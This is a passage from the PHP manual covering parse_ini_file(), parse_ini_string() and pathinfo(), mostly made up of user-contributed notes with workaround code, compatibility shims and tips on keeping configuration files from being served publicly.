                $num_newline = $num_newline +1;
            }
        }
        return 1;
    }

    function write_ini_file($path, $assoc_arr) {
        $content = "";

        foreach ($assoc_arr as $key=>$elem) {
            if (is_array($elem)) {
                if ($key != '') {
                    $content .= "[".$key."]\r\n";
                }

                foreach ($elem as $key2=>$elem2) {
                    if ($this->beginsWith($key2,'Comment_') == 1 && $this->beginsWith($elem2,';')) {
                        $content .= $elem2."\r\n";
                    }
                    else if ($this->beginsWith($key2,'Newline_') == 1 && ($elem2 == '')) {
                        $content .= $elem2."\r\n";
                    }
                    else {
                        $content .= $key2." = ".$elem2."\r\n";
                    }
                }
            }
            else {
                $content .= $key." = ".$elem."\r\n";
            }
        }

        if (!$handle = fopen($path, 'w')) {
            return -2;
        }
        if (!fwrite($handle, $content)) {
            return -2;
        }
        fclose($handle);
        return 1;
    }

    function beginsWith( $str, $sub ) {
        return ( substr( $str, 0, strlen( $sub ) ) === $sub );
    }
?>
yarco dot w at gmail dot com 29-Jun-2007 01:46
parse_ini_file can't deal with const which cancate a string. For example, if test.ini file is

classPath = ROOT/lib

If you:
<?php
define('ROOT', dirname(__FILE__));

$buf = parse_ini_file('test.ini');
?>

const ROOT would't be parsed.

But my version could work find.

<?php
// array parse_ini_file ( string $filename [, bool $process_sections] )
function parse_ini($filename, $process_sections = false)
{
  function replace_process(& $item, $key, $consts)
  {
    $item = str_replace(array_keys($consts), array_values($consts), $item);
  }

  $buf = get_defined_constants(true); // PHP version > 5.0
  $consts = $buf['user'];
  $ini = parse_ini_file($filename, $process_sections);

  array_walk_recursive($ini, 'replace_process', $consts);
  return $ini;
}

define('ROOT', '/test');
print_r(parse_ini(dirname(__FILE__).'/test.ini'));

?>
Adam 25-Jun-2007 10:45
Arrays can be defined in the ini file by adding '[]' at the end of a key name. For example:

value1 = 17
value2 = 13

value3[] = a
value3[] = b
value3[] = c

Will return:
Array
(
    [value1] => 17
    [value2] => 13
    [value3] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )
)
Mildred 25-May-2007 12:42
I wrote few functions to work with ini files.

The function make_ini_file($array, &$errors)
The function read_ini($file)
The function prepare_ini($array, $maxdepth=NULL)

The function prepare_ini($array, $maxdepth=NULL)
This function will take an array as returned by the function read_ini() and will return an array as needed by the function make_ini_file() so that you can write extanded ini files easily.
If maxdepth is not given (or if maxdepth is NULL), this function will try to create sections so the keys in the sections do not have dots. if maxdepth is given, it will create sections with $maxdepth members in them (or less if it is not possible). It won't use the special key name "."

<?php

function prepare_ini($arr, $maxdepth=NULL){
    $res = array();
    prepare_ini__1($res, $arr, $maxdepth);
    return $res;
}

function prepare_ini__1(
    &$res, $arr, $maxdepth,
    $prefix1="", $prefix2="", $depth=0,
    $self='prepare_ini__1')
{
    foreach($arr as $key=>$val){
        if(is_array($val)){
            if(is_null($maxdepth) or $depth < $maxdepth){
                $newprefix = $prefix1 ? "$prefix1.$key" : $key;
                $self($res, $val, $maxdepth, $newprefix, $prefix2, $depth+1);
            }else{
                $newprefix = $prefix2 ? "$prefix1.$key" : $key;
                $self($res, $val, $maxdepth, $prefix1, $newprefix, $depth+1);
            }
        }else{
            $newprefix = $prefix2 ? "$prefix2.$key" : $key;
            if(!isset($res[$prefix1])) $res[$prefix1] = array();
            $res[$prefix1][$newprefix] = $val;
        }
    }
}

// kate: indent-width 4; tab-width 8; space-indent on;
// kate: replace-tabs off; remove-trailing-space on;
?>
mark at hostcobalt dot com 27-Mar-2007 12:39
or to prevent the file being viewed you can just use a .htaccess file and add this line

<files *.ini>
order deny,allow
deny from all
</files>

i use a similar thing to prevent my config files being accessed
ant at loadtrax dot com 15-Nov-2006 09:09
A number of posts mention using pear::Config as a replacement for this function. Note however that internally it uses parse_ini_file to read the ini file, so it suffers from the same limitations.
Justin Hall 31-Oct-2006 11:46
This is a simple (but slightly hackish) way of avoiding the character limitations (in values):

<?php
define('QUOTE', '"');
$test = parse_ini_file('test.ini');

echo "<pre>";
print_r($test);
?>

contents of test.ini:

park yesterday = "I (walked) | {to} " QUOTE"the"QUOTE " park yesterday & saw ~three~ dogs!"

output:

<?php
Array
(
    [park yesterday] => I (walked) | {to} "the" park yesterday & saw ~three~ dogs!
)
?>
23-Oct-2006 02:16
this function won't parse a remote INI file, even with allow_url_fopen turned on.
judas dot iscariote at gmail dot com 01-Oct-2006 12:26
If you are looking for an OOP way to parse ini files, take a look at Marcus Boerger's  IniGroups  class available here :

http://www.php.net/~helly/php/ext/spl/classIniGroups.html
tertillian at yahoo dot com 21-Feb-2006 05:12
I ran into a snag where I wanted to have an INI file for a library. All attempts to parse the file from the library, apart from hardcoded path qualification, failed because it couldn't find the INI file. Some of the php functions will optionally use the include path. Adding this to the parse_ini_file() function would permit its use in this way and would encourage not putting INI files in document root.
nbraczek at bsds dot de 15-Feb-2006 04:29
Beside the mentioned reserved words 'null', 'yes', 'no', 'true', and 'false', also 'none' seems to be a reserved word. Parsing an ini file stops at a key named 'none'.
mauder[remove] at [remove]gmail[remove] dot com 14-Feb-2006 04:31
Be careful if you put any .ini file in your readable directories, if somebody would know the name (e.g. if your application is widely used), the webserver might return it as plain text.

For example : your database username and password could be exposed, if it is stored in that file !

To prevent this from happening :
- give the file .php extension :  "my.ini.php"
- put ';<?php' (without quotes and without X between X and php) on first line
- put ';?>' on last line

The server would run the ini file as being PHP-code, but will do nothing due to bad syntax, preventing the content from being exosed.
On the other hand, it is still a valid .ini file...

HTH !
Julio López Garbayo <sinedeo at gmail dot com> 22-Sep-2005 01:53
I wrote a replacement function with following changes:
-It allows quotes and double quotes.
-It detects wether your .ini file has sections or not.
-It will read until eof in any case, even if a line contains errors.

I know it can be improved a lot, so feel free to work on it and, please, notify me if you do.

<?php
function parse_ini_file_quotes_safe($f)
{
 $r=$null;
 $sec=$null;
 $f=@file($f);
 for ($i=0;$i<@count($f);$i++)
 {
  $newsec=0;
  $w=@trim($f[$i]);
  if ($w)
  {
   if ((!$r) or ($sec))
   {
    if ((@substr($w,0,1)=="[") and (@substr($w,-1,1))=="]") {$sec=@substr($w,1,@strlen($w)-2);$newsec=1;}
   }
   if (!$newsec)
   {
    $w=@explode("=",$w);$k=@trim($w[0]);unset($w[0]); $v=@trim(@implode("=",$w));
    if ((@substr($v,0,1)=="\"") and (@substr($v,-1,1)=="\"")) {$v=@substr($v,1,@strlen($v)-2);}
    if ($sec) {$r[$sec][$k]=$v;} else {$r[$k]=$v;}
   }
  }
 }
 return $r;
}
?>
dimk at pisem dot net 13-Jul-2005 09:33
Class to access ini values at format "section_name.property", for example $myconf->get("system.name") returns a property "name" in section "system":

<?php
class Settings {

var $properties = array();

    function Settings() {
        $this->properties = parse_ini_file(_SETTINGS_FILE, true);
    }

    function get($name) {
        if(strpos($name, ".")) {
            list($section_name, $property) = explode(".", $name);
            $section =& $this->properties[$section_name];
            $name = $property;
        } else {
            $section =& $properties;
        }

        if(is_array($section) && isset($section[$name])) {
            return $section[$name];
        }
        return false;
    }

}
?>
dreamscape 24-Jun-2005 09:10
I handy function to allow values with new lines if you are PHP4, is the following:

<?php
function prepareIniNl($string) {
    return preg_replace("/(\r\n|\n|\r)/", "\\n", $string);
}
?>

Now, when writing your INI file, parse the value through the function and it will turn for example:

Value line 1
Value line 2

Into literally:

Value line 1\nValue line 2

Which is stored as a single line in the INI file.  And when you read the INI file back into PHP, the \n will be parsed and you're value will be back to:

Value line 1
Value line 2
dawalama at gmail dot com 20-May-2005 08:09
<?php
/*
* Search_ini_file refined.
*/
function search_ini_file ( $filename, $search_param, $return_section = false )
{
        $search_key =   (isset($search_param['key'])?$search_param['key']:false);
        $search_value = (isset($search_param['value'])?$search_param['value']:false);
        if ( !($search_key !==false || $search_value !==false) ){
                return false;
        }
        $retvalue = false;
        $handle = fopen($filename, 'r');
        if ( ($search_key !== false) && ($search_value !== false) ){
                $key_found = false;
                $retvalue['key'] = false;
                $retvalue['value'] = false;
                while( !feof($handle) ) {
                        $line = trim(fgets($handle, 4096));
                        if (preg_match("/^\[$search_key\].*?$/s",$line)){
                                $key_found = true;
                                $retvalue['key'] = true;
                                continue;
                        }
                        if ($key_found){
                                if (preg_match("/^\[.*?$/", trim($line))){
                                        break;
                                }else{
                                        if ($return_section){
                                                if ($line != '') {
                                                        list($k, $v) = split("=", $line);
                                                        $retvalue[$search_key][$k] = preg_replace("/;.*$/", "", $v);
                                                }   }   }

                                if (preg_match("/^$search_value\s*?=.*$/", $line)){
                                        $retvalue['value'] = true;
                                        break;
                                }   }  }
        }elseif ($search_key !== false){
                $keyfound = false;
                while ( !feof($handle) ){
                        $line = trim(fgets($handle, 4096));
                        if (preg_match("/^\[$search_key\].*?$/s",$line)){
                                $retvalue  = true;
                                if (!$return_section){
                                        break;
                                }else{
                                        $retvalue = Array();
                                        $keyfound = true;
                                        continue;
                                }  }

                        if ( $keyfound ){
                                if (preg_match("/^\[.*?$/", trim($line))){
                                        break;
                                }else{
                                        if ($return_section){
                                                if ($line != ''){
                                                        list($k, $v) = split("=", $line);
                                                        $retvalue[$search_key][$k] = preg_replace("/;.*$/", "", $v);
                                                }   }  }  }  }
        }elseif ($search_value !== false){
                while ( !feof($handle) ){
                        $line = trim(fgets($handle, 4096));

                        if (preg_match("/^$search_value\s*?=.*$/", $line)){
                                $retvalue = true;
                                if ($return_section){
                                        $retvalue = array();
                                        if ($line != ''){
                                                list($k, $v) = split("=", $line);
                                                $retvalue[$k] = preg_replace("/;.*$/", "", $v);
                                        }  }
                                break;
                        }   }  }
        fclose($handle);
        return $retvalue;
}
?>
sly at noiretblanc dot org 08-Mar-2005 08:57
Be careful with the string "none", for example if you want to save a CSS border-style in your config.ini file :

[style]
borderstyle=none

will return:
   'style' => array ( 'borderstyle' => '' )

and not
   'style' => array ( 'borderstyle' => 'none' )

The solution is to quote the string none :
[style]
borderstyle="none"
hfuecks at phppatterns dot com 15-Jul-2004 08:20
parse_ini_file seems to have changed it's signature between PHP 4.3.x and PHP 5.0.0 (can't find any relevant changelog / cvs entries referring to this).

In PHP 4.3.x and below return value was a boolean FALSE if the ini file could not be found. With PHP 5.0.0 the return value is an empty array if the file is not found.
php at isaacschlueter dot com 21-Jun-2004 11:47
Even better than putting the <?php at the head of the file is to do something like this:

--config.ini.php--
; <?php die( 'Please do not access this page directly.' ); ?>
; This is the settings page, do not modify the above line.
setting = value
...
waikeatNOSPAM at archerlogic dot com 09-Nov-2003 06:37
I found that this function will not work on remote files.
I tried

$someArray = parse_ini_file("http://www.example.com/setting.ini");

and it reports

Cannot Open 'http://www.example.com/setting.ini' for reading ...
rus dot grafx at usa dot net 10-Oct-2003 06:15
Instead of using parse_ini_file() function I would recommend to use PEAR's Config package which is MUCH more flexible (assuming that you don't mind using PEAR and OOP). Have a closer look at http://pear.php.net/package/Config
dshearin at excite dot com 19-Jun-2003 08:47
I found another pitfall to watch out for. The key (to the left of the equal sign) can't be the same as one of the predefined values, like yes, no, on, off, etc. I was working on a script that read in an ini file that matched the country codes of top level domains to the full name of the country. I kept getting a parse error everytime it got to the entry for Norway ("no"). I fixed the problem by sticking a dot in front of each of the country codes.
10-May-2003 04:05
If your configuration file holds any sensitive information (such as database login details), remember NOT to place it within your document root folder! A common mistake is to replace config.inc.php files, which are formatted in PHP:
<?php
$database['host'] = 'localhost';
// etc...
?>

With config.ini files which are written in plain text:
[database]
host = localhost

The file config.ini can be read by anyone who knows where it's located, if it's under your document root folder. Remember to place it above!
kieran dot huggins at rogers dot com 07-Jan-2003 10:24
Just a quick note for all those running into trouble escaping double quotes:

I got around this by "base64_encode()"-ing my content on the way in to the ini file, and "base64_decode()"-ing on the way out.

Because base64 uses the "=" sign, you will have to encapsulate the entire value in double quotes so the line looks like this:

    varname = "TmlhZ2FyYSBGYWxscywgT04="

When base64'd, your strings will retain all \n, \t...etc...  URL's retain everything perfectly :-)

I hope some of you find this useful!

Cheers, Kieran
fbeyer at clickhand dot de 29-Nov-2002 09:37
Besides the features mentioned above (eg. core constants, booleans), you can also access user-defined constants in ini files! This is handy if you want to create a bit-field, for example:

<?php
// Define pizza toppings
define('PIZZA_HAM',           1);
define('PIZZA_PINEAPPLE',     2);
define('PIZZA_ONION',         4);
define('PIZZA_MOZARELLA',     8);
define('PIZZA_GARLIC',        16);

// Read predefined pizzas
$pizzas = parse_ini_file('pizzas.ini');

if ($pizzas[$user_pizza] & PIZZA_ONION) {
    // Add onions to the pizza
}
?>

[pizzas]

; Define pizzas
hawaii = PIZZA_HAM | PIZZA_PINEAPPLE
stinky = PIZZA_ONION | PIZZA_GARLIC
bob at kludgebox dot com 26-Mar-2002 10:27
And for the extra-paranoid like myself, add a rule into your httpd.conf file so that *.ini (or *.inc) in my case can't be sent to a browser:

<Files *.inc>
    Order deny,allow
    Deny from all
</Files>
JoshuaStarr at aelana dot com 14-Jan-2002 07:41
It should be noted that in all of our attempts you cannot escape a double quote in the value when read with the parse_ini_file() function.

;============================
; Example Configuration File
;============================
[category]
title = "Best Scripting Language"
desc = "See <a href=\"http://www.php.net/\">PHP</a>!"

If this file is read by parse_ini_file() the link value will not be set because of the escaped double quotes.
move_uploaded_file
parse_ini_string
Filesystem Functions


Parse a configuration string

parse_ini_file
pathinfo
Filesystem Functions
PHP Manual

parse_ini_string

(PHP 5 >= 5.3.0)

parse_ini_string — Parse a configuration string

Description

array parse_ini_string ( string $ini [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] )

parse_ini_string() returns the settings in string ini in an associative array.

The structure of the ini string is the same as the php.ini's.

Parameters

ini

The contents of the ini file being parsed.

process_sections

By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE

scanner_mode

Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed.

Return Values

The settings are returned as an associative array on success, and FALSE on failure.

Notes

Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, no and false results in "", yes and true results in "1". Characters ?{}|&~![()^" must not be used anywhere in the key and have a special meaning in the value.

See Also

  • parse_ini_file() - Parse a configuration file

User Contributed Notes

Safak Ozpinar (safakozpinar at gmail dot com) 25-Oct-2010 02:20
Function parse_ini_file doesn't parse a remote ini file if allow_url_include is off. But if allow_url_fopen is on, you can use parse_ini_string to parse a remote ini file after read its contents.

<?php
/**
 * Assume that; allow_url_include=0 and allow_url_fopen=1
 * (default values in php.ini)
 */
$iniUrl = 'http://example.com/remote/config.ini';

/**
 * Warning: parse_ini_file(): http:// wrapper is disabled in the server configuration by allow_url_include=0
 */
$config = parse_ini_file($iniUrl);

/**
 * works fine
 */
$config = parse_ini_string(file_get_contents($iniUrl));
?>
boukeversteegh at gmail dot com 28-Apr-2010 10:05
<?php
# Define parse_ini_string if it doesn't exist.
# Does accept lines starting with ; as comments
# Does not accept comments after values
if( !function_exists('parse_ini_string') ){

    function parse_ini_string( $string ) {
        $array = Array();

        $lines = explode("\n", $string );

        foreach( $lines as $line ) {
            $statement = preg_match(
"/^(?!;)(?P<key>[\w+\.\-]+?)\s*=\s*(?P<value>.+?)\s*$/", $line, $match );

            if( $statement ) {
                $key    = $match[ 'key' ];
                $value    = $match[ 'value' ];

                # Remove quote
                if( preg_match( "/^\".*\"$/", $value ) || preg_match( "/^'.*'$/", $value ) ) {
                    $value = mb_substr( $value, 1, mb_strlen( $value ) - 2 );
                }

                $array[ $key ] = $value;
            }
        }
        return $array;
    }
}
?>
alexandre at nospam dot imaginacom dot com 21-Oct-2009 12:24
If your server has yet not been updated to PHP 5.2 (like mine), the following function can help you without having to use temporary paths.

I tried to make it the more similar possible to the PHP's behaviour, including dealing with errors or exceptions.

<?php
if(!function_exists('parse_ini_string')){
    function parse_ini_string($str, $ProcessSections=false){
        $lines  = explode("\n", $str);
        $return = Array();
        $inSect = false;
        foreach($lines as $line){
            $line = trim($line);
            if(!$line || $line[0] == "#" || $line[0] == ";")
                continue;
            if($line[0] == "[" && $endIdx = strpos($line, "]")){
                $inSect = substr($line, 1, $endIdx-1);
                continue;
            }
            if(!strpos($line, '=')) // (We don't use "=== false" because value 0 is not valid as well)
                continue;

            $tmp = explode("=", $line, 2);
            if($ProcessSections && $inSect)
                $return[$inSect][trim($tmp[0])] = ltrim($tmp[1]);
            else
                $return[trim($tmp[0])] = ltrim($tmp[1]);
        }
        return $return;
    }
}
?>
aldo at mschat dot net 01-Aug-2009 03:28
If you want to use something like this on a PHP version below that of PHP 5.3, you can emulate it roughly by doing something like this:

<?php
if(!function_exists('parse_ini_string'))
{
  function parse_ini_string($ini, $process_sections = false, $scanner_mode = null)
  {
    # Generate a temporary file.
    $tempname = tempnam('/tmp', 'ini');
    $fp = fopen($tempname, 'w');
    fwrite($fp, $ini);
    $ini = parse_ini_file($tempname, !empty($process_sections));
    fclose($fp);
    @unlink($tempname);
    return $ini;
  }
}
?>

May not be the most efficient way (I suppose you could do some regex stuff instead...) but it certainly works!
parse_ini_file
pathinfo
Filesystem Functions


Returns information about a file path

parse_ini_string
pclose
Filesystem Functions
PHP Manual

pathinfo

(PHP 4 >= 4.0.3, PHP 5)

pathinfo — Returns information about a file path

Description

mixed pathinfo ( string $path [, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] )

pathinfo() returns information about path: either an associative array or a string, depending on options.

Parameters

path

The path to be parsed.

options

If present, specifies a specific element to be returned; one of PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION or PATHINFO_FILENAME.

If options is not specified, returns all available elements.

Return Values

If the options parameter is not passed, an associative array containing the following elements is returned: dirname, basename, extension (if any), and filename.

Note:

If the path does not have an extension, no extension element will be returned (see second example below).

If options is present, returns a string containing the requested element.

Changelog

Version | Description
5.2.0 | The PATHINFO_FILENAME constant was added.

Examples

Example #1 pathinfo() Example

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?>

The above example will output:

/www/htdocs/inc
lib.inc.php
php
lib.inc

Example #2 pathinfo() example showing difference between null and no extension

<?php
$path_parts = pathinfo('/path/emptyextension.');
var_dump($path_parts['extension']);

$path_parts = pathinfo('/path/noextension');
var_dump($path_parts['extension']);
?>

The above example will output something similar to:

string(0) ""

Notice: Undefined index: extension in test.php on line 6
NULL

Notes

Note:

For information on retrieving the current path info, read the section on predefined reserved variables.

Note:

pathinfo() is locale aware, so for it to parse a path containing multibyte characters correctly, the matching locale must be set using the setlocale() function.

See Also

  • dirname() - Returns parent directory's path
  • basename() - Returns trailing name component of path
  • parse_url() - Parse a URL and return its components
  • realpath() - Returns canonicalized absolute pathname

User Contributed Notes

admin at torntech dot com 27-Jun-2011 09:39
pathinfo will return null if 0 or null is specified for the option argument.
So you'll need to define it's value manually if the option field is omitted, to provide the default functionality.

<?php

    public function getFileInfo($source = null, $option = null){
        if(!$option){
            //1 + 2 + 4
            $option = PATHINFO_DIRNAME + PATHINFO_BASENAME + PATHINFO_EXTENSION;
            if(defined('PATHINFO_FILENAME'))
                $option += PATHINFO_FILENAME; //8
        }
        return pathinfo($source, $option);
    }

    $obj->getFileInfo("/test/file/someFile.txt");
?>
fabiolimasouto at gmail dot com 14-Oct-2010 12:53
Sometimes we want to get an array of each component in the pathname associated with the correspondent path to that directory. We need it for creating breadCrumbs and stuff like that. So here it goes:
<?php

/* Function parsePathComponents
    * parse through all path components
    * resolves the cross platform slash issue
    * eliminates extra redundant slashes
    * @return associative array: ComponentName=>CorrespondentPath
*/

/* Array */ function parsePathComponents($path,$endSlash=true,$base=false)
{
 for(
     $path = trim($path),
     $slash = strstr(PHP_OS,'WIN') ? '\/' : '/',
     $retArray = array(),
     $str = $temp = "",
     $x = 0;
 $char = @$path{$x}; $x++)
 {
  if(!strstr($slash,$char)) $temp .= $char;
  elseif($temp){
       $str .= $temp;
       $retArray[$temp] = $str.($endSlash ? $slash{0} : '');
       $str .= $slash{0};
       $temp = "";
  }
 }
 $base&&$temp and $retArray[$temp] = $str.$temp;
 return $retArray;
}

// Testing in WINDOWS
// NOTE: UNIX will return paths with normal slashes

// return array with path names ending with a slash
$path = '/my//stupid//path/to///some/file.php';
$pathComps = parsePathComponents($path);
print_r($pathComps);

//Array ( [my] => my\ [stupid] => my\stupid\ [path] => my\stupid\path\ [to] => my\stupid\path\to\ [some] => my\stupid\path\to\some\ )

$path = 'my/other//path/';
// return paths not ending with slash
print_r(parsePathComponents($path,false));
// Array ( [my] => my [other] => my\other [path] => my\other\path )

$path = 'my//other/path/to///file.php';
// use third argument = true: for capturing the "file.php" base
print_r(parsePathComponents($path,true,true));

//Array ( [my] => my\ [other] => my\other\ [path] => my\other\path\ [to] => my\other\path\to\ [file.php] => my\other\path\to\file.php )

?>
kc8yds at gmail dot com 18-Sep-2009 02:43
any type of url parse_url can handle this will get the extension of

pathinfo(parse_url('URL GOES HERE',PHP_URL_PATH),PATHINFO_EXTENSION)
jjoss at mail dot ru 04-Feb-2009 10:15
pathinfo() which can be used with UTF filenames.

<?php
  function pathinfo_utf($path)
  {
    if (strpos($path, '/') !== false) $basename = end(explode('/', $path));
    elseif (strpos($path, '\\') !== false) $basename = end(explode('\\', $path));
    else return false;
    if (empty($basename)) return false;

    $dirname = substr($path, 0, strlen($path) - strlen($basename) - 1);

    if (strpos($basename, '.') !== false)
    {
      $extension = end(explode('.', $path));
      $filename = substr($basename, 0, strlen($basename) - strlen($extension) - 1);
    }
    else
    {
      $extension = '';
      $filename = $basename;
    }

    return array
    (
      'dirname' => $dirname,
      'basename' => $basename,
      'extension' => $extension,
      'filename' => $filename
    );
  }
?>
aalaap at gmail dot com 02-Feb-2009 07:58
Here is a simple function that gets the extension of a file. Simply using PATHINFO_EXTENSION will yield incorrect results if the path contains a query string with dots in the parameter names (for eg. &x.1=2&y.1=5), so this function eliminates the query string first and subsequently runs PATHINFO_EXTENSION on the clean path/url.

<?php
function extension($path) {
  $qpos = strpos($path, "?");

  if ($qpos!==false) $path = substr($path, 0, $qpos);

  $extension = pathinfo($path, PATHINFO_EXTENSION);

  return $extension;
}
?>
php [spat] hm2k.org 13-Jan-2009 04:27
A little compat for < 5.2

<?php

function pathinfo_filename($file) { //file.name.ext, returns file.name
    if (defined('PATHINFO_FILENAME')) return pathinfo($file,PATHINFO_FILENAME);
    if (strstr($file, '.')) return substr($file,0,strrpos($file,'.'));
}

?>
php-manual at spunts dot net 24-Dec-2008 09:19
For a good example of how platform independent this function is have a look at the different return values that Lostindream and I experienced. Mine is above and Lostindream's is below:

Array
(
    [dirname] => /www/psychicblast/images/1
    [basename] => my three girlfriends.jpg
    [extension] => jpg
)

Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
z
benjaminhill at gmail dot com 02-Dec-2008 09:18
A warning: this function varies depending on the platform it is being run on.  For example, pathinfo('C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe') will return a different result when run through a winOS PHP platform (local development) vs. a server's UNIX-based OS.  A bit like the Locale settings, but unexpected.
Lostindream at atlas dot cz 19-Aug-2008 01:43
at example from "qutechie at gmail dot com" you can only replace function 'strpos' with 'strrpos'. (strrpos — Find position of last occurrence of a char in a string)

It's simple. For example:
<?php

function filePath($filePath)
{
 $fileParts = pathinfo($filePath);

 if(!isset($fileParts['filename']))
 {$fileParts['filename'] = substr($fileParts['basename'], 0, strrpos($fileParts['basename'], '.'));}

 return $fileParts;
}

$filePath = filePath('/www/htdocs/index.html');
print_r($filePath);
?>

Output will be:
Array
(
    [dirname] => /www/htdocs
    [basename] => index.html
    [extension] => html
    [filename] => index
)
leons87_AT_hotmail_DOT_com 15-Aug-2008 04:47
qutechie at gmail dot com wrote a fix for support for filename in PHP 4; however it gets it wrong whenever you have a filename with a . in it (so foo.bar.jpg would return foo instead of foo.bar).

A fix would be:
<?php
if(!isset($path_parts['filename'])){
    $reversed_filename = strrev( $path_parts['basename'] );
    $path_parts['filename'] = strrev( substr( $reversed_filename, strpos( $reversed_filename, '.' ) + 1 ) );
}
?>

The idea is that you reverse the string and create a substring that starts after the first '.' and then reverse the result.
qutechie at gmail dot com 21-Jul-2008 06:29
Quick fix for lack of support for 'filename' in php4

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0

// if php4
              if(!isset($path_parts['filename'])){
                $path_parts['filename'] = substr($path_parts['basename'], 0,strpos($path_parts['basename'],'.'));
              }

?>
christian dot reinecke at web dot de 24-Feb-2008 07:46
if you call pathinfo with a filename in url-style (example.php?with=parameter), make sure you remove the given parameters before, otherwise they will be returned as part of the extension.

extension => php?with=parameter
tom at foo-bar dot co dot uk 30-Jan-2008 06:48
Note that this function seems to just perform string operations, and will work even on a non-existent path, e.g.

<?php
print_r(pathinfo('/no/where/file.txt'));
?>

which will output:
Array
(
    [dirname] => /no/where
    [basename] => file.txt
    [extension] => txt
    [filename] => file
)
OakBehringer 27-Jan-2008 05:47
Building on David Blinco's function, the following will:

1. Return the correct protocol for secure requests (https)
2. Throw an exception for invalid files
3. Ensure the returned url separates directories with forward slashes (David's will not on Windows systems).

function mapPath ($filepath) {
    $realpath = realpath($filepath);
    $dir;

    // Verify that the path passed is real and harvest the bottom directory
    if (is_file($realpath)) {
        $dir = dirname($realpath);
    }
    elseif (is_dir($realpath)) {
        $dir = $realpath;
    }
    else {
        throw new Exception('File does not exist: ' . $realpath);
    }

    // Make sure the path is not lower than the server root
    if (strlen($dir) < strlen($_SERVER['DOCUMENT_ROOT']))
        throw new Exception("Cannot create http path below server http root.");

    $path = ((isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) != 'off') ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . substr($realpath, strlen($_SERVER['DOCUMENT_ROOT']));

    if (DIRECTORY_SEPARATOR == '\\')
        $path = str_replace('\\', '/', $path);

    return $path;
}
davidblinco at gmail dot com 26-Jan-2008 07:27
This function is not perfect, but you can use it to convert a relative path to a URL.
Please email me if you can make any improvements.

<?php
function mapURL($relPath) {
    $filePathName = realpath($relPath);
    $filePath = realpath(dirname($relPath));
    $basePath = realpath($_SERVER['DOCUMENT_ROOT']);

    // can not create URL for directory lower than DOCUMENT_ROOT
    if (strlen($basePath) > strlen($filePath)) {
        return '';
    }

    return 'http://' . $_SERVER['HTTP_HOST'] . substr($filePathName, strlen($basePath));
}
?>
henrik at not-an-address dot com 21-Dec-2007 10:23
If you have filename with utf-8 characters, pathinfo will strip them away:

print_r(pathinfo("/mnt/files/飛兒樂團光茫.mp3"));

 .. will display:

Array
(
    [dirname] => /mnt/files
    [basename] => .mp3
    [extension] => mp3
    [filename] =>
)
mrnemesis at ntlworld dot com 19-Dec-2007 07:22
Note that in PHP 4 (if you're stuck using it), pathinfo only provides dirname, basename, and extension, but not filename. This function will not split a file's stem and extension for you.
anders.jenbo()pc.dk 11-Sep-2007 02:34
Heres a funciton to get the same results from php 4+ but you will have to call pathinfo_filename() instead of pathinfo().

<?php
if(version_compare(phpversion(), "5.2.0", "<")) {
    function pathinfo_filename($path) {
        $temp = pathinfo($path);
        if($temp['extension'])
            $temp['filename'] = substr($temp['basename'],0 ,strlen($temp['basename'])-strlen($temp['extension'])-1);
        return $temp;
    }
} else {
    function pathinfo_filename($path) {
        return pathinfo($path);
    }
}
?>
avi-team at inbox dot lv 15-Jul-2007 08:14
You shouldn't assign values as it is described in previous post
// wrong:
list( $dirname, $basename, $extension, $filename ) = array_values( pathinfo($file) );

if $file has no extension, you get wrong variable values: $extension would be assigned with 'filename' array element of pathinfo() result, but $filename - would be empty.
phpnet at whoisgregg dot com 30-May-2007 11:01
If you want to easily assign the values returned by pathinfo to separate variable names, list isn't enough. You can use array_values() first to convert the associative array into the indexed array that list() expects:

// throws notices, variables aren't set
list( $dirname, $basename, $extension, $filename ) = pathinfo($file);

// works
list( $dirname, $basename, $extension, $filename ) = array_values( pathinfo($file) );
cochise_chiracahua at hotmail.com 25-Nov-2005 11:55
Sometimes, it's interessant to get the basename without extension.
So, I appended a new entry 'basenameWE' (Basename Without Extension) to the returned array.

<?php

// pathinfo improved
function pathinfo_im($path) {

    $tab = pathinfo($path);

    $tab["basenameWE"] = substr($tab["basename"],0
    ,strlen($tab["basename"]) - (strlen($tab["extension"]) + 1) );

    return $tab;
}

$my_path = "/var/www/html/example.html";

echo "<pre>\n";
print_r( pathinfo_im($my_path) );
echo "</pre>\n";

?>

Out :

Array
(
    [dirname] => /var/www/html
    [basename] => example.html
    [extension] => html
    [basenameWE] => example
)
sgermain at icexnetworks dot com 08-Jul-2005 11:24
It is true that if you put a directory into pathinfo, usually the extension is empty. But, if the directory name is /www/example.com/ for example, you will have the following output:

Array
(
    [dirname] => /www
    [basename] => example.com
    [extension] => com
)

So, it is the same as a file.
n0dalus 08-Feb-2005 01:47
If a file has more than one 'file extension' (seperated by periods), the last one will be returned.
For example:
<?php
$pathinfo = pathinfo('/dir/test.tar.gz');
echo 'Extension: '.$pathinfo['extension'];
?>
will produce:
Extension: gz

and not tar.gz
03-Dec-2004 04:39
If you want only the file extension, use this:
<?php
$extension = substr(strrchr($filename, "."), 1);
?>
This is many times faster than using pathinfo() and getting the value from array.
rob at webdimension dot co dot uk 04-Oct-2004 06:48
Further to my previous post.

This affects servers that run PHP as a cgi module

If you have your own server:
You can use the AcceptPathInfo directive to force the core handler to accept requests with PATH_INFO and thereby restore the ability to use PATH_INFO in server-side includes.

Further information:
